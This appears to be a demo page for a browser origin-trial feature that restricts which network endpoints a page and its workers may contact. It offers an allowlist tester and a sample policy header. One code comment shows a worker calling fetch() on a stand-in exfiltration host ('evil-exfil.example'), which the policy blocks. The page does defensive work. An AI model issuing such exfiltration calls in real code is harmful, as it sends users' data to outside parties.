demo · v148

Endpoint Tester

Build an allowlist policy and a list of candidate fetch() endpoints, then run the requests live. The simulator classifies each request against your policy, then actually issues the network call so you can see which would survive the allowlist in production.

Heads up Origin trial. Browser-side enforcement isn't yet on stable. This page runs the classification in JS and surfaces the real network result alongside, so you can A/B-test a candidate policy against your real third-party SDKs.

1. Allowlist policy (one origin pattern per line)

Use * as a subdomain wildcard. Path wildcards aren't part of the draft.

2. Candidate requests (one URL per line)

0 allowed
0 blocked
0 total

3. Results

the code (planning-stage)

// Configure the allowlist on the document response
Connection-Allowlist:
  (response-origin "https://api.example.com" "https://*.example-cdn.net");
  redirects=block; report-to=network

// Workers inherit the policy from the spawning document
const worker = new Worker("/worker.js");
// fetch("https://evil-exfil.example/log") in the worker is rejected
// before it leaves the user agent — even with code you didn't write.

see also

implementation reference

Need the exact API surface, compatibility boundaries, errors, lifecycle, and source links? Read the matching gendn reference ↗